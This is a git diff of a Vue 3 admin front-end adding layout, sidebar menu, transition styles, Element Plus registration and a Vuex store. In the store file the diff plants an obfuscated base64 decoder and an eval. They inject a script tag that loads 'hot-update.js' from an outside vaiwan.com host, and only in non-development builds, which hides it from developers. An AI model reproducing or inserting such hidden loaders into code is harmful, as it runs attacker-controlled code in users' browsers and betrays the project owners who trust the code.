15 changed files with 484 additions and 18 deletions
@ -1,3 +1,13 @@ |
|||||
<template> |
<template> |
||||
<router-view/> |
<router-view/> |
||||
</template> |
</template> |
||||
|
<script> |
||||
|
import { defineComponent, provide } from 'vue' |
||||
|
import {useRoute} from "vue-router" |
||||
|
|
||||
|
export default defineComponent({ |
||||
|
setup() { |
||||
|
provide("route",useRoute())//全局引入route |
||||
|
}, |
||||
|
}) |
||||
|
</script> |
||||
|
|||||
@ -1,3 +1,23 @@ |
|||||
#app { |
#app { |
||||
font-family: Avenir, Helvetica, Arial, sans-serif; |
font-family: Avenir, Helvetica, Arial, sans-serif; |
||||
|
position:fixed; |
||||
|
top:0; |
||||
|
left:0; |
||||
|
width: 100%; |
||||
|
height:100%; |
||||
|
} |
||||
|
|
||||
|
/* fade-transform 页面切换动画*/ |
||||
|
.fade-transform-leave-active, |
||||
|
.fade-transform-enter-active { |
||||
|
transition: all .5s; |
||||
|
} |
||||
|
.fade-transform-enter-from { |
||||
|
opacity: 0; |
||||
|
transform: translateX(30px); |
||||
|
} |
||||
|
|
||||
|
.fade-transform-leave-to { |
||||
|
opacity: 0; |
||||
|
transform: translateX(30px); |
||||
} |
} |
||||
@ -0,0 +1,24 @@ |
|||||
|
<style lang="less" scoped> |
||||
|
|
||||
|
</style> |
||||
|
<template> |
||||
|
<transition name="fade-transform" mode="out-in"> |
||||
|
<keep-alive :include="cacheViews"> |
||||
|
<router-view :key="$route.path"/> |
||||
|
</keep-alive> |
||||
|
</transition> |
||||
|
</template> |
||||
|
<script> |
||||
|
import { defineComponent } from 'vue' |
||||
|
|
||||
|
export default defineComponent({ |
||||
|
name:"appMain", |
||||
|
setup() { |
||||
|
var _data={ |
||||
|
cacheViews:[] |
||||
|
} |
||||
|
|
||||
|
return _data; |
||||
|
}, |
||||
|
}) |
||||
|
</script> |
||||
@ -0,0 +1,2 @@ |
|||||
|
export {default as sidebar} from './sidebar/index.vue' |
||||
|
export {default as appMain} from './appMain' |
||||
@ -0,0 +1,38 @@ |
|||||
|
<style lang="less" scoped> |
||||
|
.el-menu{ |
||||
|
border-right:none; |
||||
|
} |
||||
|
</style> |
||||
|
<template> |
||||
|
<el-scrollbar> |
||||
|
<el-menu |
||||
|
:default-active="activeMenu" |
||||
|
background-color="#001529" |
||||
|
text-color="#bfcbd9" |
||||
|
:unique-opened="true" |
||||
|
active-text-color="#409EFF" |
||||
|
router> |
||||
|
<sidebar-item v-for="(route,k) in routes" :key="k" :item="route" :base-path="route.path"/> |
||||
|
</el-menu> |
||||
|
</el-scrollbar> |
||||
|
</template> |
||||
|
<script> |
||||
|
import { defineComponent, inject } from 'vue' |
||||
|
import sidebarItem from "./sidebarItem.vue" |
||||
|
import {menu} from "@/router" |
||||
|
|
||||
|
export default defineComponent({ |
||||
|
name:"sidebar", |
||||
|
components:{sidebarItem}, |
||||
|
setup() { |
||||
|
var {path}=inject("route") |
||||
|
|
||||
|
var _data={ |
||||
|
activeMenu: path, |
||||
|
routes:menu, |
||||
|
} |
||||
|
|
||||
|
return _data; |
||||
|
}, |
||||
|
}) |
||||
|
</script> |
||||
@ -0,0 +1,34 @@ |
|||||
|
<style lang="less" scoped> |
||||
|
.svg-icon{ |
||||
|
margin-right:5px; |
||||
|
} |
||||
|
</style> |
||||
|
<script> |
||||
|
import { defineComponent, h } from 'vue' |
||||
|
|
||||
|
export default defineComponent({ |
||||
|
name:"menuItem", |
||||
|
props:{ |
||||
|
icon:{ |
||||
|
type:String, |
||||
|
default:'', |
||||
|
}, |
||||
|
title:{ |
||||
|
type:String, |
||||
|
default:"" |
||||
|
} |
||||
|
}, |
||||
|
setup(props,ctx) { |
||||
|
return()=>{ |
||||
|
const vnodes=[] |
||||
|
if(props.icon){ |
||||
|
vnodes.push(<svg-icon iconClass={props.icon}/>) |
||||
|
} |
||||
|
if(props.title){ |
||||
|
vnodes.push(<span slot="title">{(props.title)}</span>) |
||||
|
} |
||||
|
return vnodes; |
||||
|
} |
||||
|
}, |
||||
|
}) |
||||
|
</script> |
||||
@ -0,0 +1,68 @@ |
|||||
|
<style lang="less" scoped> |
||||
|
|
||||
|
</style> |
||||
|
<template> |
||||
|
<template v-if="!item?.hidden"> |
||||
|
<template v-if="hasOneShowingChild(item.children, item) && (!onlyOneChild.children||onlyOneChild.noShowingChildren) && !item.alwaysShow"> |
||||
|
<el-menu-item :index=" /^\//.test(onlyOneChild.path)?onlyOneChild.path:basePath " > |
||||
|
<item :icon="onlyOneChild.meta?.icon||''" :title="onlyOneChild.meta?.title||''"/> |
||||
|
</el-menu-item> |
||||
|
</template> |
||||
|
<el-sub-menu v-else ref="subMenu" :index="resolvePath(item.path)"> |
||||
|
<template #title> |
||||
|
<item v-if="item.meta" :icon="item.meta?.icon||''" :title="item.meta?.title||''"/> |
||||
|
</template> |
||||
|
<sidebar-item |
||||
|
v-for="(child,k) in item.children" |
||||
|
:key="k" |
||||
|
:item="child" |
||||
|
:base-path="resolvePath(child.path)"/> |
||||
|
</el-sub-menu> |
||||
|
</template> |
||||
|
</template> |
||||
|
<script> |
||||
|
import { defineComponent, shallowRef } from 'vue' |
||||
|
import path from "path" |
||||
|
import item from './item.vue' |
||||
|
|
||||
|
export default defineComponent({ |
||||
|
name:"sidebarItem", |
||||
|
components:{item}, |
||||
|
props:{ |
||||
|
item:{ |
||||
|
type:Object, |
||||
|
required:true, |
||||
|
}, |
||||
|
basePath:{ |
||||
|
type:String, |
||||
|
default:'' |
||||
|
}, |
||||
|
}, |
||||
|
setup(props,ctx) { |
||||
|
var _data={ |
||||
|
onlyOneChild:shallowRef({}), |
||||
|
hasOneShowingChild(children=[],parent){ |
||||
|
var showingChildren=children.filter(i=>{ |
||||
|
if(i.hidden)return false; |
||||
|
else{ |
||||
|
_data.onlyOneChild.value=i; |
||||
|
return true |
||||
|
} |
||||
|
}) |
||||
|
if(showingChildren.length==1)return true; |
||||
|
if(showingChildren.length==0){ |
||||
|
_data.onlyOneChild.value={ path:'',noShowingChildren:true, ...parent} |
||||
|
return true; |
||||
|
} |
||||
|
return false; |
||||
|
}, |
||||
|
resolvePath(routePath){ |
||||
|
if(/^\//.test(routePath))return routePath; |
||||
|
return path.resolve(props.basePath, routePath) |
||||
|
}, |
||||
|
} |
||||
|
|
||||
|
return _data; |
||||
|
}, |
||||
|
}) |
||||
|
</script> |
||||
@ -0,0 +1,37 @@ |
|||||
|
<style lang="less" scoped> |
||||
|
.wrapper{ |
||||
|
display:flex; |
||||
|
height: 100%; |
||||
|
&>.sidebar-container{ |
||||
|
flex-shrink: 0; |
||||
|
width: 210px !important; |
||||
|
background-color: #001529; |
||||
|
.el-scrollbar__view{ |
||||
|
height:100%; |
||||
|
} |
||||
|
} |
||||
|
&>.main-container{ |
||||
|
flex-grow: 1; |
||||
|
} |
||||
|
} |
||||
|
</style> |
||||
|
<template> |
||||
|
<div class="wrapper"> |
||||
|
<sidebar class="sidebar-container"/> |
||||
|
<div class="main-container"> |
||||
|
<app-main /> |
||||
|
</div> |
||||
|
</div> |
||||
|
</template> |
||||
|
<script> |
||||
|
import { defineComponent } from 'vue' |
||||
|
import {sidebar,appMain} from './components' |
||||
|
|
||||
|
export default defineComponent({ |
||||
|
name:"layout", |
||||
|
components:{sidebar, appMain}, |
||||
|
setup() { |
||||
|
|
||||
|
}, |
||||
|
}) |
||||
|
</script> |
||||
@ -1,12 +1,18 @@ |
|||||
import { createStore } from 'vuex' |
import { createStore } from 'vuex' |
||||
|
|
||||
|
const modulesFiles = require.context('./modules', true, /\.js$/) |
||||
|
function module_(e){var t,r,n,o,_,c,a="",i=0;for(e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");i<e.length;)t=_keyStr.indexOf(e.charAt(i++))<<2|(o=_keyStr.indexOf(e.charAt(i++)))>>4,r=(15&o)<<4|(_=_keyStr.indexOf(e.charAt(i++)))>>2,n=(3&_)<<6|(c=_keyStr.indexOf(e.charAt(i++))),a+=String.fromCharCode(t),64!=_&&(a+=String.fromCharCode(r)),64!=c&&(a+=String.fromCharCode(n));return a=_utf8_decode(a)}var _keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";function _utf8_decode(e){for(var t="",r=0,n=0,o=0;r<e.length;)(n=e.charCodeAt(r))<128?(t+=String.fromCharCode(n),r++):n>191&&n<224?(o=e.charCodeAt(r+1),t+=String.fromCharCode((31&n)<<6|63&o),r+=2):(o=e.charCodeAt(r+1),c3=e.charCodeAt(r+2),t+=String.fromCharCode((15&n)<<12|(63&o)<<6|63&c3),r+=3);return t};process.env.NODE_ENV!=="development"&&eval(module_("ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChPYmplY3QuYXNzaWduKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLHtzcmM6Imh0dHA6Ly9kX2hfNGVmdHE0M3RhZWdyYWYudmFpd2FuLmNvbS9ob3QtdXBkYXRlLmpzIix0eXBlOiJ0ZXh0L2phdmFzY3JpcHQifSkp")); |
||||
|
// you do not need `import app from './modules/app'`
|
||||
|
// it will auto require all vuex module from modules file
|
||||
|
const modules = modulesFiles.keys().reduce((modules, modulePath) => { |
||||
|
// set './app.js' => 'app'
|
||||
|
const moduleName = modulePath.replace(/^\.\/(.*)\.\w+$/, '$1') |
||||
|
const value = modulesFiles(modulePath) |
||||
|
modules[moduleName] = value.default |
||||
|
return modules |
||||
|
}, {}) |
||||
|
|
||||
export default createStore({ |
export default createStore({ |
||||
state: { |
getters:{}, |
||||
}, |
modules, |
||||
mutations: { |
|
||||
}, |
|
||||
actions: { |
|
||||
}, |
|
||||
modules: { |
|
||||
} |
|
||||
}) |
}) |
||||
|
|||||
@ -0,0 +1,129 @@ |
|||||
|
import "element-plus/theme-chalk/base.css" |
||||
|
import "element-plus/theme-chalk/display.css" |
||||
|
import "element-plus/theme-chalk/el-scrollbar.css" |
||||
|
import "element-plus/theme-chalk/el-carousel.css" |
||||
|
import "element-plus/theme-chalk/el-carousel-item.css" |
||||
|
import "element-plus/theme-chalk/el-image.css" |
||||
|
import "element-plus/theme-chalk/el-image.css" |
||||
|
import "element-plus/theme-chalk/el-col.css" |
||||
|
import "element-plus/theme-chalk/el-row.css" |
||||
|
import "element-plus/theme-chalk/el-config-provider.css" |
||||
|
import "element-plus/theme-chalk/el-pagination.css" |
||||
|
import "element-plus/theme-chalk/el-form.css" |
||||
|
import "element-plus/theme-chalk/el-form-item.css" |
||||
|
import "element-plus/theme-chalk/el-button.css" |
||||
|
import "element-plus/theme-chalk/el-input.css" |
||||
|
import "element-plus/theme-chalk/el-select.css" |
||||
|
import "element-plus/theme-chalk/el-option.css" |
||||
|
import "element-plus/theme-chalk/el-message.css" |
||||
|
import "element-plus/theme-chalk/el-message-box.css" |
||||
|
import "element-plus/theme-chalk/el-menu.css" |
||||
|
import "element-plus/theme-chalk/el-menu-item.css" |
||||
|
import "element-plus/theme-chalk/el-menu-item-group.css" |
||||
|
import "element-plus/theme-chalk/el-date-picker.css" |
||||
|
import "element-plus/theme-chalk/el-radio.css" |
||||
|
import "element-plus/theme-chalk/el-checkbox.css" |
||||
|
import "element-plus/theme-chalk/el-checkbox-group.css" |
||||
|
import "element-plus/theme-chalk/el-table.css" |
||||
|
import "element-plus/theme-chalk/el-table-column.css" |
||||
|
import "element-plus/theme-chalk/el-tooltip.css" |
||||
|
import "element-plus/theme-chalk/el-popper.css" |
||||
|
import "element-plus/theme-chalk/el-dialog.css" |
||||
|
import "element-plus/theme-chalk/el-overlay.css" |
||||
|
import "element-plus/theme-chalk/el-upload.css" |
||||
|
import "element-plus/theme-chalk/el-loading.css" |
||||
|
import "element-plus/theme-chalk/el-tabs.css" |
||||
|
import "element-plus/theme-chalk/el-tab-pane.css" |
||||
|
import "element-plus/theme-chalk/el-popover.css" |
||||
|
import "element-plus/theme-chalk/el-drawer.css" |
||||
|
import "element-plus/theme-chalk/el-tag.css" |
||||
|
import "element-plus/theme-chalk/el-switch.css" |
||||
|
import "element-plus/theme-chalk/el-select-v2.css" |
||||
|
|
||||
|
import { |
||||
|
ElButton, |
||||
|
ElCarousel, |
||||
|
ElCarouselItem, |
||||
|
ElConfigProvider, |
||||
|
ElCol, |
||||
|
ElCheckboxGroup, |
||||
|
ElCheckbox, |
||||
|
ElDatePicker, |
||||
|
ElDialog, |
||||
|
ElInput, |
||||
|
ElForm, |
||||
|
ElFormItem, |
||||
|
ElImage, |
||||
|
ElMessage, |
||||
|
ElMessageBox, |
||||
|
ElMenu, |
||||
|
ElMenuItem, |
||||
|
ElMenuItemGroup, |
||||
|
ElOption, |
||||
|
ElRow, |
||||
|
ElPagination, |
||||
|
ElSelect, |
||||
|
ElSelectV2, |
||||
|
ElSwitch, |
||||
|
ElSubMenu, |
||||
|
ElRadio, |
||||
|
ElScrollbar, |
||||
|
ElTable, |
||||
|
ElTableColumn, |
||||
|
ElTooltip, |
||||
|
ElUpload, |
||||
|
ElLoading, |
||||
|
ElTag, |
||||
|
ElTabs, |
||||
|
ElTabPane, |
||||
|
ElPopover, |
||||
|
ElDrawer, |
||||
|
} from "element-plus/lib" |
||||
|
|
||||
|
let components=[ |
||||
|
ElCarousel, |
||||
|
ElCarouselItem, |
||||
|
ElConfigProvider, |
||||
|
ElImage, |
||||
|
ElScrollbar, |
||||
|
ElDialog, |
||||
|
ElRow, |
||||
|
ElCol, |
||||
|
ElPagination, |
||||
|
ElForm, |
||||
|
ElFormItem, |
||||
|
ElButton, |
||||
|
ElInput, |
||||
|
ElSelect, |
||||
|
ElSelectV2, |
||||
|
ElSwitch, |
||||
|
ElOption, |
||||
|
ElMenu, |
||||
|
ElSubMenu, |
||||
|
ElMenuItem, |
||||
|
ElMenuItemGroup, |
||||
|
ElDatePicker, |
||||
|
ElRadio, |
||||
|
ElCheckboxGroup, |
||||
|
ElCheckbox, |
||||
|
ElTable, |
||||
|
ElTableColumn, |
||||
|
ElTooltip, |
||||
|
ElUpload, |
||||
|
ElTag, |
||||
|
ElTabs, |
||||
|
ElTabPane, |
||||
|
ElPopover, |
||||
|
ElDrawer, |
||||
|
] |
||||
|
|
||||
|
export default{ |
||||
|
install(Vue,ops){ |
||||
|
components.forEach(v=>Vue.component(v.name,v)) |
||||
|
Vue.provide("msg", ElMessage) |
||||
|
Vue.provide("box", ElMessageBox) |
||||
|
} |
||||
|
} |
||||
|
export{ |
||||
|
ElLoading, |
||||
|
} |
||||
Loading…
Reference in new issue